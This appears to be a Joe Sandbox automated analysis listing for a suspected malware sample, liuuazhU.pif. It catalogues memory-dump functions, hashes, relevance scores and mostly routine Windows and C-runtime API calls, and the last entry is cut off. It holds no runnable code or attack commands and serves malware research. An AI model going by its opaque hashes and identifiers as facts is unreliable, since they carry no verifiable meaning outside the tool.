Instruction ID: 921c963dd34926380bb66bab4664ffdc77dd7215d73efb597145ad8ce013c573
Opcode Fuzzy Hash: afe23289d0f8aaf6402c0489d7120fa53950ccc8fab5b191ac0fe58cd90bc6c1
Instruction Fuzzy Hash: A8F19E74E01228CFDB64DFA9C994B9DBBB2AF58300F1081AAD509A7354DB355E85CF50

Function 20D1DE60 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1256b8a973482e291f3dfd45ad78e0a0912f147190a40fd41fb737e11184bee3
Instruction ID: 3c4ce591e4f233f306af34f560d51c0e5418d1330dffb9937222b0e953e7988a
Opcode Fuzzy Hash: 1256b8a973482e291f3dfd45ad78e0a0912f147190a40fd41fb737e11184bee3
Instruction Fuzzy Hash: DBB18B74A012288FCB65DF64C998BDABBB2BF49301F1085E9E449A7360DB359EC1CF44

Function 20D1E060 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3112893052.0000000020D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 20D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20d10000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6baed59d110556ce64f2045dc48b228f5486d43d9aa9dc34daf728da51f0feb
Instruction ID: b4820a1bba90b7cfbf49ad898dec5ffb62d7fc47447fdf508c93821ddd125914
Opcode Fuzzy Hash: b6baed59d110556ce64f2045dc48b228f5486d43d9aa9dc34daf728da51f0feb
Instruction Fuzzy Hash: F051B174901228CFCB69DF64D898AD9B7B2BF5A301F2085E9D409A7360DB359E81CF94

Function 1CFCDD90 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3108680787.000000001CFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1cfc0000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7f4b23370da50f8861c0caad5e5516bfdc1176c48583d80d20aab3bb536edd1
Instruction ID: 0c7a74bb8901ca37a1adff6c482c16eedb63dd9e7a5a195418a3a63f0bff5bce
Opcode Fuzzy Hash: c7f4b23370da50f8861c0caad5e5516bfdc1176c48583d80d20aab3bb536edd1
Instruction Fuzzy Hash: F241D1B4E00249DFDB14DFA9D884ADEFBF1BB59300F209129E419BB290D7749885CF59

Function 211703F8 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3113302494.0000000021170000.00000040.00000800.00020000.00000000.sdmp, Offset: 21170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21170000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ec3a4c9982d4441dac002a0139391265f7f4443489c03b2d92c8c62a2820f74
Instruction ID: 2d71c29eff7fc75eed538ea6e5236199aa94a596feaedb1a91c79887ac366cb3
Opcode Fuzzy Hash: 0ec3a4c9982d4441dac002a0139391265f7f4443489c03b2d92c8c62a2820f74
Instruction Fuzzy Hash: 2731AAB4D01208DFCB14CFA9D984ADEFBF5AB4A310F20902AE408BB310D374AA46CF54

Function 21170400 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3113302494.0000000021170000.00000040.00000800.00020000.00000000.sdmp, Offset: 21170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21170000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45211507bc447a9af156d6594c8c8a5ba78de2ccf69066b15c7a8b8d208436e6
Instruction ID: 565db903422c89b0ba1ba71b3918839edcec42f29feab41c6b416ad9ce9c7bf0
Opcode Fuzzy Hash: 45211507bc447a9af156d6594c8c8a5ba78de2ccf69066b15c7a8b8d208436e6
Instruction Fuzzy Hash: A03189B5D01218DFCB14CFA9D984ADEFBF5AB4A310F20902AE919B7310D374AA46CF54

Function 211703C8 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3113302494.0000000021170000.00000040.00000800.00020000.00000000.sdmp, Offset: 21170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21170000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 067878ae74f588b9f2f8ae6deb55c96942bdfcf014d0e94841a7afe9ff7b1d22
Instruction ID: cf90fd23cb1f5d6d73617ab51d365a1caadfccf3d815e050f03030bbbc0e9713
Opcode Fuzzy Hash: 067878ae74f588b9f2f8ae6deb55c96942bdfcf014d0e94841a7afe9ff7b1d22
Instruction Fuzzy Hash: 8331DBB5D052089FCB05CFA8D880ADDFBF1AF5A310F14906AE548BB260D3359A86CF55

Function 2018BF2A Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3111887989.0000000020180000.00000040.00000800.00020000.00000000.sdmp, Offset: 20180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20180000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d31da7764114ee0472a1f5b538b864ba44c71727952803e0fa8368a91670186
Instruction ID: ab33a86cc7ba0013ff10dbc39be1a739c27c73462a11dff2221c0e36d99041dc
Opcode Fuzzy Hash: 8d31da7764114ee0472a1f5b538b864ba44c71727952803e0fa8368a91670186
Instruction Fuzzy Hash: BD21BCB5D052188FDB10CF99D580ADEFBF0EB49320F24905AE918B7311C374AA41CFA5

Function 2018BF30 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3111887989.0000000020180000.00000040.00000800.00020000.00000000.sdmp, Offset: 20180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20180000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab7a05de19e66010c0c45d4af3f4504b5c21b260298242e9e7103c9733d828a2
Instruction ID: 03ad40059b5dc92d2c4ff10a345f8ff835c02db40c3a629408a20dda221f96c6
Opcode Fuzzy Hash: ab7a05de19e66010c0c45d4af3f4504b5c21b260298242e9e7103c9733d828a2
Instruction Fuzzy Hash: 71219AB5D052189FDB10CF99D980ADEFBF4EB49320F24905AE918B7310C375AA41CFA5

Function 2101240B Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3113101885.0000000021010000.00000040.00000800.00020000.00000000.sdmp, Offset: 21010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21010000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d9d6311e1656615ac50f67cc50002ed963ab7f1617831326c5c7151d5e0e7ef
Instruction ID: b4ec0e9dae43ccc00d256dfd5fdc1da7172acce9582709edd153246a0090976e
Opcode Fuzzy Hash: 9d9d6311e1656615ac50f67cc50002ed963ab7f1617831326c5c7151d5e0e7ef
Instruction Fuzzy Hash: D7F03170951229EFD704EFB4D19C3AEBFB4EB4B346F1058B8D40993240C7384644CB41

Function 00417081 Relevance: 31.8, APIs: 21, Instructions: 340COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004170B3
GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,1CFD18C0), ref: 004170C5
MultiByteToWideChar.KERNEL32(7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 00417151
_malloc.LIBCMT ref: 0041718A
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171BD
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171D9
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00417213
_malloc.LIBCMT ref: 0041724C
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 00417277
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0041729A
__freea.LIBCMT ref: 004172A4
__freea.LIBCMT ref: 004172AD
___ansicp.LIBCMT ref: 004172DE
___convertcp.LIBCMT ref: 00417309
LCMapStringA.KERNEL32(?,?,00000000,?,00000000,00000000,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?), ref: 0041732A
_malloc.LIBCMT ref: 00417362
_memset.LIBCMT ref: 00417384
LCMapStringA.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?), ref: 0041739C
___convertcp.LIBCMT ref: 004173BA
__freea.LIBCMT ref: 004173CF
LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004173E9

Memory Dump Source

Source File: 00000006.00000002.3089721536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3089721536.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3089721536.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: String$ByteCharMultiWide__freea_malloc$___convertcp$ErrorLast___ansicp_memset
String ID:
API String ID: 3809854901-0
Opcode ID: b16ff40dd4ba9ebc371e1f7effab867f6711c58894302612c2f4823bb6b89e2c
Instruction ID: cdfffc9a1d2b3026f9ae82d5cc8d175594050d3ba9b5f3d3ede674b9b5b9b85c
Opcode Fuzzy Hash: b16ff40dd4ba9ebc371e1f7effab867f6711c58894302612c2f4823bb6b89e2c
Instruction Fuzzy Hash: 29B1B072908119EFCF119FA0CC808EF7BB5EF48354B14856BF915A2260D7398DD2DB98

Function 004057B0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 004057DE

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

_malloc.LIBCMT ref: 00405842
_malloc.LIBCMT ref: 00405906
_malloc.LIBCMT ref: 00405930

Strings

1.2.3, xrefs: 004058EC, 00405937

Memory Dump Source

Source File: 00000006.00000002.3089721536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3089721536.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3089721536.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap
String ID: 1.2.3
API String ID: 680241177-2310465506
Opcode ID: 64d57b24c90c17737e8f9baa349f19b9f9970d6aaf881d525023fd74c78c4ea3
Instruction ID: 6f54ea0e5a0cddcbb7a6eab5c61130b8c10e9e343dc86a4c4a61a5a67c51a18e
Opcode Fuzzy Hash: 64d57b24c90c17737e8f9baa349f19b9f9970d6aaf881d525023fd74c78c4ea3
Instruction Fuzzy Hash: 8B61F7B1944B408FD720AF2A888066BBBE0FB45314F548D3FE5D5A3781D739D8498F5A

Function 0040BCC2 Relevance: 10.7, APIs: 7, Instructions: 189COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040BD24
_memcpy_s.LIBCMT ref: 0040BD99
__fileno.LIBCMT ref: 0040BDF9
__read.LIBCMT ref: 0040BE00
__filbuf.LIBCMT ref: 0040BE24
_memset.LIBCMT ref: 0040BE6A
_memset.LIBCMT ref: 0040BE95

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Memory Dump Source

Source File: 00000006.00000002.3089721536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3089721536.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3089721536.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: bd76f0579c09bb0a6f952e3feb4c94488d7cfab1bd6474dd60967b9cc6db7677
Instruction ID: 0234425abcb0213f77efd30778ac7634d7a408156a07f93f58cd91f86a00e979
Opcode Fuzzy Hash: bd76f0579c09bb0a6f952e3feb4c94488d7cfab1bd6474dd60967b9cc6db7677
Instruction Fuzzy Hash: 1E519031A00605ABCB209F69C844A9FBB75EF41324F24863BF825B22D1D7799E51CBDD

Function 004017E0 Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

EntryPoint.LIUUAZHU(80070057), ref: 004017EE

Part of subcall function 00401030: RaiseException.KERNEL32(-0000000113D97C15,00000001,00000000,00000000,00000015,2C2D8410), ref: 0040101C
Part of subcall function 00401030: GetLastError.KERNEL32 ref: 00401030

EntryPoint.LIUUAZHU(80070057), ref: 00401800
EntryPoint.LIUUAZHU(80070057), ref: 00401813
__recalloc.LIBCMT ref: 00401828
EntryPoint.LIUUAZHU(8007000E), ref: 00401839
EntryPoint.LIUUAZHU(8007000E), ref: 00401853
_calloc.LIBCMT ref: 00401861

Memory Dump Source

Source File: 00000006.00000002.3089721536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3089721536.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3089721536.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: EntryPoint$ErrorExceptionLastRaise__recalloc_calloc
String ID:
API String ID: 1721462702-0
Opcode ID: a5ad3cd8a15542cfcc4b59831b28fc936e8548016bd987b06b7189672beebcc8
Instruction ID: 9b44c07ae4757e317c030d83b628f3e382e80143504443e1f3b2735d650bea0f
Opcode Fuzzy Hash: a5ad3cd8a15542cfcc4b59831b28fc936e8548016bd987b06b7189672beebcc8
Instruction Fuzzy Hash: AC018872500241EACA21BA229C06F1B7294DF90799F24893FF4C5762E2D63D9990D6EE

Function 00414738 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00414744

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__getptd.LIBCMT ref: 0041475B
__amsg_exit.LIBCMT ref: 00414769
__lock.LIBCMT ref: 00414779

Strings

@.B, xrefs: 00414786

Memory Dump Source

Source File: 00000006.00000002.3089721536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3089721536.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3089721536.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID: @.B
API String ID: 3521780317-470711618
Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction ID: 91aff3cf2d6bbea4e2ea5d49e8e08bf0f41c3eb50374f8394f27d7b6c467aa53
Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction Fuzzy Hash: 60F09631A407009BE720BB66850678D73A06F81719F91456FE4646B2D1CB7C6981CA5D

Function 0040C73D Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 0040C6C8
__fileno.LIBCMT ref: 0040C6D6
__fileno.LIBCMT ref: 0040C6E2
__fileno.LIBCMT ref: 0040C6EE
__fileno.LIBCMT ref: 0040C6FE

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000006.00000002.3089721536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3089721536.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3089721536.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: __fileno$__decode_pointer__getptd_noexit__lock_file
String ID:
API String ID: 2805327698-0
Opcode ID: 0562b983a982954f07d72bd2f01eb344b0d1ff129a9d588568d63b7b4b77f5f9
Instruction ID: db056c5abb1484b678344f3d998e50672bc49cccd6cfe868de5707b4f3f6250f
Opcode Fuzzy Hash: 0562b983a982954f07d72bd2f01eb344b0d1ff129a9d588568d63b7b4b77f5f9
Instruction Fuzzy Hash: 1A01253231451096C261ABBE5CC246E76A0DE81734726877FF024BB1D2DB3C99429E9D

Function 00413FCC Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00413FD8

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__amsg_exit.LIBCMT ref: 00413FF8
__lock.LIBCMT ref: 00414008
InterlockedDecrement.KERNEL32(?), ref: 00414025
InterlockedIncrement.KERNEL32(1CFD1660), ref: 00414050

Memory Dump Source

Source File: 00000006.00000002.3089721536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3089721536.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3089721536.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction ID: 77fb08d543caf33888dccec20a3998fa005b1348dfeb798e4aa279577202aa48
Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction Fuzzy Hash: 9301A531A01621ABD724AF67990579E7B60AF48764F50442BE814B72D0C77C6DC2CBDD

Function 00413610 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040CDF5), ref: 00413615
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00413625

Strings

KERNEL32, xrefs: 00413610
IsProcessorFeaturePresent, xrefs: 0041361F

Memory Dump Source

Source File: 00000006.00000002.3089721536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3089721536.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3089721536.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction ID: 3bb3582238f4ecb0ba7b9e8fe578e45fdcf0af3c55e5dfe2a5e3893bc0ad87fb
Opcode Fuzzy Hash: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction Fuzzy Hash: 96F06230600A09E2DB105FA1ED1E2EFBB74BB80746F5101A19196B0194DF38D0B6825A

Function 0040C748 Relevance: 6.1, APIs: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

__fileno.LIBCMT ref: 0040C77C
__locking.LIBCMT ref: 0040C791

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000006.00000002.3089721536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3089721536.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3089721536.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__getptd_noexit__locking
String ID:
API String ID: 2395185920-0
Opcode ID: 0afeae9b27a86c2abe0b3397de8921379debd9150d07dd18b85413c6fc1de43d
Instruction ID: 30055f4621fb528cea72007990449f1feb1a7f288d573051c200dc5e1a244c20
Opcode Fuzzy Hash: 0afeae9b27a86c2abe0b3397de8921379debd9150d07dd18b85413c6fc1de43d
Instruction Fuzzy Hash: CC51CF72E00209EBDB10AF69C9C0B59BBA1AF01355F14C27AD915B73D1D378AE41DB8D

Function 00405D00 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00405D54
_memset.LIBCMT ref: 00405D6F
_fseek.LIBCMT ref: 00405DDD

Memory Dump Source

Source File: 00000006.00000002.3089721536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3089721536.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3089721536.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: _fseek_malloc_memset
String ID:
API String ID: 208892515-0
Opcode ID: 9fe2477137ff98b8fe919820eb2b1ff53dfeab7efe35faa63f44dd20cd1a70ab
Instruction ID: b5a371ba5f9a3ad1fa090fb1a89082137fe8d6c03bc5c52cd66242ccf2a60741
Opcode Fuzzy Hash: 9fe2477137ff98b8fe919820eb2b1ff53dfeab7efe35faa63f44dd20cd1a70ab
Instruction Fuzzy Hash: 3541A572600F018AD630972EE804B2772E5DF90364F140A3FE9E6E27D5E738E9458F89

Function 0041529F Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004152D3
__isleadbyte_l.LIBCMT ref: 00415307
MultiByteToWideChar.KERNEL32(00000080,00000009,00000083,?,?,00000000,?,?,?), ref: 00415338
MultiByteToWideChar.KERNEL32(00000080,00000009,00000083,00000001,?,00000000,?,?,?), ref: 004153A6

Memory Dump Source

Source File: 00000006.00000002.3089721536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3089721536.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3089721536.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction ID: 094900ada7e667e90e346a2540d450e67f5821ec0926a3c2ae07879bc245b0d1
Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction Fuzzy Hash: 1831A032A00649EFDB20DFA4C8809EE7BB5EF41350B1885AAE8659B291D374DD80DF59

Function 004134DB Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00413501

Part of subcall function 00413326: __fltout2.LIBCMT ref: 00413352

__cftog_l.LIBCMT ref: 00413527
__cftoe_l.LIBCMT ref: 00413559

Memory Dump Source

Source File: 00000006.00000002.3089721536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3089721536.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3089721536.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: bfd0e68975b3765f24e543ba70b005e9871d43ed2f52156b65e62ceec70126f9
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: DA117E7200014EBBCF125E85CC418EE3F27BF18755B58841AFE2858130D73BCAB2AB89

Analysis Process: liuuazhU.pifPID: 5640, Parent PID: 2104COMMON

Execution Graph

Execution Coverage:	9.8%
Dynamic/Decrypted Code Coverage:	56.9%
Signature Coverage:	0%
Total number of Nodes:	397
Total number of Limit Nodes:	48

Executed Functions

Function 2E4C21F8 Relevance: 12.2, Strings: 9, Instructions: 910COMMON

Download Yara Rule

Strings

(o^q, xrefs: 2E4C27C9
(o^q, xrefs: 2E4C2707
,bq, xrefs: 2E4C2698
,bq, xrefs: 2E4C26A8
(o^q, xrefs: 2E4C2236
(o^q, xrefs: 2E4C231D
(o^q, xrefs: 2E4C2717
(o^q, xrefs: 2E4C22F1
(o^q, xrefs: 2E4C23BA

Memory Dump Source

Source File: 0000000B.00000002.3120056947.000000002E4C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E4C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e4c0000_liuuazhU.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$(o^q$(o^q$(o^q$(o^q$,bq$,bq
API String ID: 0-2735749406
Opcode ID: 16e756d392f5cd396b0362851c50de72699b4be0102c4c1725e0d9eb9bb221c3
Instruction ID: 647e32adea0085dbbb334bfe107042fb25fbf92048711d6f43094e9ad306bff1
Opcode Fuzzy Hash: 16e756d392f5cd396b0362851c50de72699b4be0102c4c1725e0d9eb9bb221c3
Instruction Fuzzy Hash: 56826B38A00A09CFCB05CF68C584A9EBBF2BF58B14F15955AE809DB365D7B0ED41CB54

Function 2E425F38 Relevance: 1.9, APIs: 1, Instructions: 374libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 2E425FD3

Memory Dump Source

Source File: 0000000B.00000002.3119790903.000000002E420000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e420000_liuuazhU.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c12f6f33b2302193eb533bdf3f16e3ba7e1df37ba17af4ff4975f43a781d0c0a
Instruction ID: dd64dc4f120fb4f63e794863ed7083c239b6188ccec644b1c762d68dd80b1037
Opcode Fuzzy Hash: c12f6f33b2302193eb533bdf3f16e3ba7e1df37ba17af4ff4975f43a781d0c0a
Instruction Fuzzy Hash: EC02A174E01218CFDB14DFA9D884B9DBBB2BF88304F10D1AAE508AB355DB75A985CF50

Function 2E7CF791 Relevance: 1.9, APIs: 1, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3120196643.000000002E7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E7C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e7c0000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a830069eb10a6669d1f7b5bb31c29c2fd2268dc19aa95b78f15318fac2b869fd
Instruction ID: f5bd1fcf63c9ad95b4ed4e62e5fd5c8826c518c97b1ec8cdcf20b08ba9fa9ca4
